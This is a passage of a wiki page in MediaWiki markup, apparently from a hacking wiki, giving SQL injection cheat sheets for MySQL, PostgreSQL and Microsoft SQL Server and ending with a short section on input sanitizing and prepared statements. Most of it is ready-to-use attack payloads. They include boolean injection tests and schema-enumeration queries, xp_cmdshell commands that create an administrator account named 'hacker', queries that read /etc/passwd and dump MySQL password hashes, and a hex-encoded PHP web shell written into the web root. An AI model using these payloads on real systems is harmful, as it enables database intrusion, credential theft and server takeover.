* <i>'''load_file()'''</i>
:Mysql's '''load_file()''' function takes a single '''string literal''' (it can be bypassed with [[#Quotes|0x[hex]]]) as a filename and '''returns''' either the '''file contents as a single-cell string''' or '''null''' if the query failed for '''any''' reason.
* <i>'''select ... into outfile'''</i>
:'''into outfile''' is limited in that it cannot receive a string literal, but must be a constant.}}
<i><u>Examples of these are located in the [[#Privileged_Mysql_.28Any_version.29_User|'''priveleged MySQL cheat sheet''']]</u></i>.

=== Obtaining code execution ===

* <i>Through the [[Vulnerability|vulnerable]] [[web applications|web application]]:</i>
It is possible that the administrative interface will contain template and theme editors and the ability to add/modify/delete [[PHP]] or other [[interpreted languages]] in the associated files.  Knowing this is just one more reason to make a beeline for the user table for the affected [[web applications|web application]] and get to [[Cryptography#Commandline_Tools|cracking]] the [[authentication credential]]s for the admin [[user]].

* Via [[database]] engine ('''MS SQL'''-specific)
By ending the query with a semicolon or comment delimiter and beginning a new query, we can get '''MS SQL''' to run
 ;exec master..xp_cmdshell 'net user hacker hacker_password /add'
 ;exec master..xp_cmdshell 'net localgroup administrators hacker /add'
 /url.asp?ArticleID=1;exec master..xp_cmdshell 'net user hacker hackerpassword /add';--
 /url.asp?ArticleID=1;exec master..xp_cmdshell 'net localgroup administrators hacker /add';--

* [[#Privileged_Mysql_.28Any_version.29_User|Writing a shell to the document root]] ('''MySQL'''-specific)

= Cheat Sheets =

===Vulnerability testing===

{{protip|'''<i>Using the compacted best true and false statements for compatibility and evasion here.  If problems occur, recommended reading is [[#Simple_Remote_Tests_for_SQL_Injection_Vulnerabilities|remote testing]] or [[#Bypassing_Modern_SQL_Injection_Security_Measures|defeating sql injection filters]].</i>'''}}

====Universal true and false statements====

{{notice|<i>The accuracy of this stuff has been ensured.  If missing any universal testing operators, please [[IRC|let us know.]]</i>}}

* <i>'''Standard operators''' ('''Universal'''):</i>{{code|text='''True''':  <source lang="sql">and 230984752 = 230984752</source>
'''False''': <source lang="sql">and 1023947182234 = 4382616621386497</source>}}
* <i>The '''Between ... And ...''' operators ('''Universal'''):</i>{{code|text='''True''':  <source lang="sql">and 238829 between 238826 and 238927</source>
'''False''': <source lang="sql">and 328961 between 928172 and 986731</source>}}
* <i>The '''LIKE''' operator ('''Universal'''):</i>{{code|text='''True''':  <source lang="sql">and 'sqltest' like 'sql%'</source>
'''False''': <source lang="sql">and 'sqltest' like 'not true'</source>}}
* <i>The '''REGEXP''' operator ('''RLIKE in Microsoft SQL and the "~" character in PostgreSQL, Universal'''):</i>{{code|text='''True''':  <source lang="sql">and 'sqltest' regexp '^sql'</source>
'''False''': <source lang="sql">and 'sqltest' regexp '^false'</source>
}}

==MySQL syntax reference==

* Comment notation: 
  /*   [*/]
  %23 (# urlencoded) 
  --[space]

* Handy functions, statements, and Environment Variables:
{{code|text=<source lang="sql">  version()
  user()
  current_database()
  count([column_name]) from [table_name]
  length([column_name]) from [table_name] [where or limit]
  substr([query],[byte_counter],1) 
  concat([column_name],0x2f,[column_name]) from [table_name] [where or limit]
  group_concat([column_name],0x2f,[column_name]) from [table_name] [where or limit]</source>}}

* The need for quotes can be evaded by using the 0x[hex] operator.  An example is "select 0x6a6a".  The output is "jj", same as if "select 'jj'" is run.

===Mysql versions >= 5 user schema mapping (unprivileged)===

* Show Databases Equivilent:
 {{code|text=<source lang="sql"> select schema_name from information_schema.schemata limit 1 offset 0</source>}}
* Show Tables Equivilent
 {{code|text=<source lang="sql"> select table_name from information_schema.tables where table_schema=database() limit 1 offset 0</source>}}
* Show Fields Equivilent
  {{code|text=<source lang="sql">select column_name from information_schema.columns where table_schema=database() and table_name=([table query]) limit 1 offset 0</source>}}

===Privileged MySQL (any version) user===

* Get mysql usernames and password hashes:
 {{code|text=<source lang="sql"> select concat(user,0x2f,password) from mysql.user limit 1</source>}}
* Grab /etc/passwd
  {{code|text=<source lang="sql">select load_file(0x2f6574632f706173737764)</source>}}
* Dump a small php shell (<?php system($_GET['id']); ?>) into /var/www/localhost/htdocs
 {{code|text=<source lang="sql"> select 0x3c3f7068702073797374656d28245f4745545b276964275d293b203f3e into outfile '/var/www/localhost/htdocs/.shell.php'</source>}}

==PostgreSQL syntax reference==

Handy functions & Environment Variables include:{{code|text=<source lang="sql">
  current_database()
  current_user()
  chr()
  ascii()
  substr()</source>}}

<i>'''Quick and common string concatenations:'''</i>
{{info|String concatenation in postgresql is done using the two pipe operators side by side, e.g. '''"select chr(97)&#x7c;&#x7c;chr(97)"''' is the same as '''"select 'aa'"'''.
}}
{{code|text=
* Congruent to '''select 'BASE TABLE';''':<source lang="sql">  (SELECT CHR(66)||CHR(65)||CHR(83)||CHR(69)||CHR(32)||CHR(84)||CHR(65)||CHR(66)||CHR(76)||CHR(69))</source>
* Congruent to '''select 'pg_catalog';''':<source lang="sql">  (SELECT CHR(112)||CHR(103)||CHR(95)||CHR(99)||CHR(97)||CHR(116)||CHR(97)||CHR(108)||CHR(111)||CHR(103))</source>
* Congruent to '''select 'information_schema';''':<source lang="sql">  (SELECT CHR(105)||CHR(110)||CHR(102)||CHR(111)||CHR(114)||CHR(109)||CHR(97)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(95)||CHR(115)||CHR(99)||CHR(104)||CHR(101)||CHR(109)||CHR(97))</source>
}}
===PostgreSQL schema mapping===

{{code|text=
* '''\dn equivilent''':
<source lang="sql">  select schema_name from information_schema.schemata where catalog_name=current_database() limit 1 offset 0</source>
* '''\dt equivilent''':
<source lang="sql">  select table_name from information_schema.tables table_type='BASE TABLE' AND table_schema=([schema_query]) and catalog_name=current_database() limit 1 offset 0</source>
* '''\d [table_name] equivilent''':
<source lang="sql">  select column_name from information_schema.columns where table_name=([table_query]) and table_schema=(schema_query) and catalog_name=current_database() limit 1 offset 0</source>}}

==Microsoft SQL syntax reference==

* Handy functions, statements, and Environment Variables:
  database()
  ascii()
  substring()
  WAIT ... FOR DELAY
  @@version{{info|String concatenation is preformed in Microsoft SQL via the '''+''' character.}}

===Microsoft SQL schema mapping (unprivileged)===

{{code|text=
* Obtaining the first table:
<source lang="sql">  select top 1 table_name from (select top 1 table_name from information_schema.columns where table_catalog=@@database group by table_name order by table_name desc) sq 
    group by table_name order by table_name asc</source>
* Obtaining the first column:
<source lang="sql">  select top 1 column_name from (select top 1 column_name from information_schema.columns where table_catalog=@@database and table_name='[table_name]' 
    group by column_name order by column_name asc) sq group by column_name order by column_name desc</source>}}

===Privileged microsoft SQL injection===

* Command Execution:
 ;%0a%0dexec master..xp_cmdshell 'net user hacker hackerpassword /add';--
 ;%0a%0dexec master..xp_cmdshell 'net localgroup administrators hacker /add';--

* Obtaining [[database]] [[authentication credential]]s:
 SELECT * FROM sysobjects WHERE type='U'

=Patching SQL Injection Vulnerabilities=

{{quote|<center>'''"<i>Either sanitize the inputs properly, or use prepared statements.

Obviously, [[#Modern_day_SQL_Injection_Obstacles_and_Countermeasures|today's countermeasures for sql injection]] are [[#Bypassing_Modern_SQL_Injection_Security_Measures|easily bypassed]].</i>"'''</center>|The security analyst}}
* '''[[Ruby]] input sanitizing''':
   <u>[Sanitizes For]  | [Type]  |  [Engine]  | [Example]</u>
 XSS, SQL Injection | String  | Any        | var = HTMLEntities.encode(var,:basic:)
 SQL Injection      | String  | MySQL      | var = Mysql.escape_string(var)
 SQL Injection      | String  | PostgreSQL | var = PGconn.escape_string(var)
 XSS, SQL Injection | Integer | Any        | var = var.to_i

* '''[[PHP]] input sanitizing''':
   <u>[Sanitizes For]  | [Type]  |  [Engine]  | [Example]</u>
 XSS, SQL Injection | String  | Any        | $var = htmlentities($_GET['var'],ENT_QUOTES);
 SQL Injection      | String  | MySQL      | $var = mysql_real_escape_string($_GET['var']);
 SQL Injection      | String  | PostgreSQL | $var = pg_escape_string($_GET['var']);
 XSS, SQL Injection | Integer | Any        | $var = (int)$_GET['var'];

* '''[[Python]] input sanitizing''':
{{info|Python2.4 and newer defaults to using prepared statements.  Thus, this table only refers to legacy applications built in python versions &lt; 2.4 that require manual sanitizing.}}   <u>[Sanitizes For]  | [Type]  |  [Engine]  | [Example]</u>
 XSS, SQL Injection | String  | Any        | var = urllib.urlencode(var)
 SQL Injection      | String  | MySQL      | var = conn.escape_string(var)
 SQL Injection      | String  | PostgreSQL | var = psycopg2.extensions.adapt(var)
 XSS, SQL Injection | Integer | Any        | var = int(var)

{{protip|Most researchers to date considers the use of '''prepared statements''' to be perfectly safe due to the basic differences in query implementations.{{code|text=
* Prepared statements typically use a '''PDO''' library and use the '''[[binary]]''' protocol rather than the '''socket''' [[protocols|protocol]] for interacting with the server.  
* A statement must be prepared [[SQL_Backdoors#Subprocedures|knowing the number and locations of inputs, then executed using inputs as parameters]].
}}
}}

= Further reading =
Related Content:
* [[SQL Backdoors]]
* [[MySQL]]
* [[Programming language]] specifications: [[Perl]],[[Python]],[[C]],[[C++]]

Related Tools:
* [[Vanguard]]
* [[GScrape]] - Now updated for [[SQL]] injection.
* [[mysqli-blindutils]]

External Links:
* [http://dev.mysql.com/doc/refman/4.1/en/index.html MySQL 3/4 Reference Manual]
* [http://dev.mysql.com/doc/refman/5.0/en/ MySQL 5 Reference Manual]
* [http://docs.oracle.com/cd/E19957-01/mysql-refman-6.0/ MySQL 6 Reference Manual]

* [http://www.postgresql.org/docs/7.4/static/index.html Postgres 7 Reference Manual]
* [http://www.postgresql.org/docs/8.2/static/index.html Postgres 8 Reference Manual]
* [http://www.postgresql.org/docs/9.1/static/index.html Postgres 9 Reference Manual]

* [http://msdn.microsoft.com/en-us/library/bb545450.aspx MSDN SQL Server Resources]


{{exploitation}}{{programming}}{{social}}
{{Crime}}
[[category:Web exploitation]]